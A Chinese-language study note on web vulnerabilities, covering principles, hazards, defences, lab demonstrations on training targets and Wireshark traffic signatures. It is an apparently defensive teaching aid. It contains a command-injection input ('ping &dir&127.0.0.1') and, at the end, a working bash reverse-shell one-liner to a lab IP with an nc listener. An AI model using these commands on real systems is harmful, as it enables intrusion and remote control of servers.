目录
SQL注入
漏洞原理
一是因为程序员在处理程序和数据库交互时,使用字符串拼接的方式构造sql语句,二是因为未对用户可控参数进行足够的过滤,便将参数内容拼接到sql语句中。
漏洞危害
攻击者可以利用sql注入漏洞,进行窃取数据库中的诸多信息,比如说后台管理员账户密码,还有可能可以对数据库进行增、删、改;或者配合其他漏洞拿到webshell(服务器权限)。
漏洞挖掘
比如有一个web页面,在其url搜索框,或者登录框,注册框存在注入点
漏洞防御
避免采用拼接的方式构造sql语句,对sql语句的参数进行过滤,部署安全设备。
SQL注入
攻击演示,以sqli-labs 第一关为例
利用联合查询查询数据库名字
wireshark
进行流量分析
在http流的get传参出有union select database()等关键字
XSS
漏洞原理
xss就是利用js代码实现攻击,比如可以通过精心构造的js代码注入到网页中,并由浏览器解释运行这段js代码,以达到恶意攻击的效果,还有一种当用户访问被xss脚本注入过的网页,xss脚本就会被提取出来,用户浏览器就会解析这段代码,也就是说用户已经被攻击了。
漏洞危害
攻击者利用js代码可能会实现:盗取各种账号;盗取cookie信息,冒充他人身份进入网站;劫持用户会话执行任意操作;刷流量,执行弹窗广告;传播蠕虫病毒等。
漏洞挖掘
在web页面上一些搜索框,留言板等等,都很多可能存在xss注入。
漏洞防御
对用户的输入进行过滤,使用黑名单或者白名单策略等
XSS
攻击演示,以xss challenge 第一关为例
wireshark
因为是http协议的所以直接搜索http
在get传参处,可以看出,有js代码 script 标签 ,alert弹窗函数等关键字
文件上传
漏洞原理:
服务器配置不当,开启put方法;web应用开启文件上传功能,并且没有对上传的文件做足够的限制和过滤;或者是在程序开发、部署时,没有考虑代码特性、组件漏洞、web容器漏洞、系统特性等因素;导致限制被绕过。
漏洞危害:
攻击者可以上传恶意代码文件,利用其他漏洞拿到管理员权限,并进一步导致服务器沦陷。
漏洞挖掘:
web页面上存在一些上传文件或者上传图片的地方。
漏洞防御:
采用白名单限制上传文件的后缀名,或者黑名单,再者对上传的文件内容进行检测。
文件上传
上传一句话木马,以dvwa靶场为例
wireshark
在内容中可以看出有一些危险代码执行的函数eval 还有 $_REQUEST 函数phpinfo 等关键字,创建组成的PHP一句话木马。
文件包含
漏洞原理:
大部分是因为为了减少代码量,提高开发效率使用了文件包含功能,但是使用文件包含功能时有类似于测试代码的设计,就实现了动态包含,然后就会产生文件包含漏洞的风险,而任意文件包含漏洞就是因为实现动态包含的参数,web应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径。
漏洞危害:
攻击者可以联合其他漏洞上传恶意代码文件,造成敏感信息泄露甚至可能导致服务器的沦陷。
漏洞挖掘:
如果是在已知路径的情况下可以尝试在url搜索框利用?fillpath读取本地敏感文件信息,如果远程文件包含开启了,也可以尝试利用php://input协议执行php命令,或者是可以用来触发图片木马。
漏洞防御
尽量少的使用动态包含,严格过滤被包含文件的路径,设置参数allow_url_include为off,使用参数open_basedir限定文件的访问范围
文件包含
查看本地敏感信息,dvwa靶场为例
wireshark
可以看出在包中Referer字段中有一些../进行目录穿越还有hosts、etc 等目录关键字查看本地的文件,如果进行上传图片木马的话文件包含漏洞会造成图片马的执行。文件包含会读取并执行文件读取只能单纯的读取。
文件读取
漏洞原理
在一些web页面的需求,可能会提供文件查看或者下载功能,如果不对用户查看或者下载的文件进行限制或者限制绕过,就会造成文件读取或者下载漏洞
漏洞危害
会造成敏感信息泄露,或者可以配合其他漏洞构成完整攻击链,下载服务器任意文件
漏洞挖掘
一般都是在web页面提供的文件查看功能上
漏洞防御
严格限制用户的访问路径,让用户只能访问所需要的文件和路径。
文件读取
wireshark
文件读取和文件包含类似不过文件包含可以读取并执行,文件读取只能单纯的读取,在数据包中可以看出GET传参后面有一些windows的目录名称等关键字
页面也返回了读取的hosts文件的信息
SSRF
漏洞原理
攻击者利用客户端url请求发送给服务器,然后利用服务器进行对服务端的攻击;所以他是一种服务端请求伪造攻击
漏洞危害
会被攻击者利用进行端口扫描,攻击内网应用,或者读取本地文件。
漏洞挖掘
在web的一些分享,转码服务,在线翻译或者图片加载与下载处容易出现ssrf漏洞点
漏洞防御
对输入做一个过滤限制协议为http或者https协议,限制ip和限制端口,对输出也做一个过滤,对不符合要求的全部过滤。
SSRF
以pikachu靶场为例
可以利用url进行访问百度网址
利用file协议进行读取到了本地的hosts配置文件
wireshark
可以看出在数据包头部,存在一个http关键字使得可以进行百度网址
访问本地文件也一样可以看出数据包头有一个file伪协议还有一些windows目录名字等关键字,由此可以看出这是ssrf攻击进行的访问本地敏感文件
shiro反序列化
漏洞原理
- Apache Shiro 是一个用于 Java 应用程序的安全框架,它提供身份验证、授权、加密等功能。
- 在 Shiro 的某些版本中,存在一个反序列化漏洞,当应用程序使用了不安全的类加载器时,攻击者可以通过精心构造的输入来执行恶意代码。
- 这个漏洞通常出现在 Shiro 使用的
RememberMe
功能中,该功能允许用户在关闭浏览器后仍然保持登录状态。
漏洞危害
- 攻击者可以利用这个漏洞绕过身份验证,并获得对系统的完全控制。
- 它可能导致数据泄露、业务逻辑被破坏、拒绝服务(DoS)攻击以及各种其他恶意活动。
- 由于攻击者可以在系统上执行任意命令,因此可能会造成严重的安全风险
漏洞挖掘
在web的登录框,如果有记住账户这种的登录框,容易存在漏洞,在响应包的报文头部如果有rememberme=deleteme 就代表存在反序列化漏洞
漏洞防御
更改默认密钥,升级jdk,消除利用链
shiro反序列化
启动靶场
访问靶场
wireshark
拥有shiro反序列化框架的流量特征,rememberme=deleteme。
攻击流量特征
JWT
JWT(JSON Web Token)是一种开放标准,用于在各方之间安全地传输信息。它通常用于身份验证和授权,并且可以在多个系统间共享用户状态信息
漏洞原理
JWT是一种用于在各方之间安全地传输信息,通常用于身份验证和授权,但是由于JWT由头部,载荷和签名组成,由于签名验证问题攻击者可以伪造或者篡改JWT,或者密钥泄露的话攻击者可以生成有效的JWT,再者就是如果使用的加密算法容易被破击,攻击者就有可能解密JWT。
漏洞危害
- 攻击者可以通过利用 JWT 漏洞来冒充其他用户,执行未经授权的操作,获取敏感信息,甚至完全控制系统。
- 这可能导致数据泄露、业务逻辑被破坏、拒绝服务(DoS)攻击以及各种其他恶意活动。
漏洞挖掘
漏洞防御
选择安全的加密算法,对密钥加强管理防止泄露,对签名做一个认证。
WebGoat靶场
启动靶场
java -jar webgoat-server-8.1.0.jar --server.port=8888 --server.address=192.168.176.128
以第5关为例
输入修改后的JWT
wireshark
暴力破解
漏洞原理
由于没有对用户登录失败次数进行限制或者多因素认证,就容易被攻击者进行攻击从而被爆破出账户或者密码。
漏洞危害
会造成数据泄露,业务逻辑被破坏,在后台中被植入恶意程序
漏洞挖掘
在一些web页面上的登录页面存在可以暴力破解的点
漏洞防御
对账户登录失败次数进行限制,进行一个多方认证
暴力破解
以dvwa靶场表单破解为例
利用bp进行一个爆破
wireshark
可以看出有很多次账户尝试登录的请求从169.254.255.116 IP地址过来的,对账户密码进行一个尝登录尝试。
命令执行
漏洞原理
命令执行漏洞是指应用程序在处理用户输入时,没有对输入进行足够的过滤或验证,导致攻击者能够注入恶意代码并执行系统命令。
漏洞危害
攻击者如果成功执行了命令执行漏洞容易造成服务器权限的丢失,敏感文件的信息泄露等
漏洞挖掘
一些web页面上的文件上传或者url框,
漏洞防御
对用户的输入进行验证和过滤,使用黑名单,限制命令执行的权限。
命令执行
以dvwa靶场为例
ping &dir&127.0.0.1使用ping命令附带dir命令
wireshark
在数据包中有一些命令执行的关键字,比如说dir,whoami ,ipconfig等,还有一些被url编码的&字符等,从这可以看出这基本上就是命令注入的攻击。
反弹shell
漏洞原理:反弹shell是一种攻击技术,通过在目标系统上执行命令来创建一个与攻击者控制的远程服务器建立连接的“后门”
流量特征
kali 和kali Linux 为例
kali
bash -c 'bash -i >& /dev/tcp/192.168.176.130/8888 0>&1'
kali Linux
nc -lvvp 8888
反弹进去了 ,kali的IP地址 kali Linux 地址为176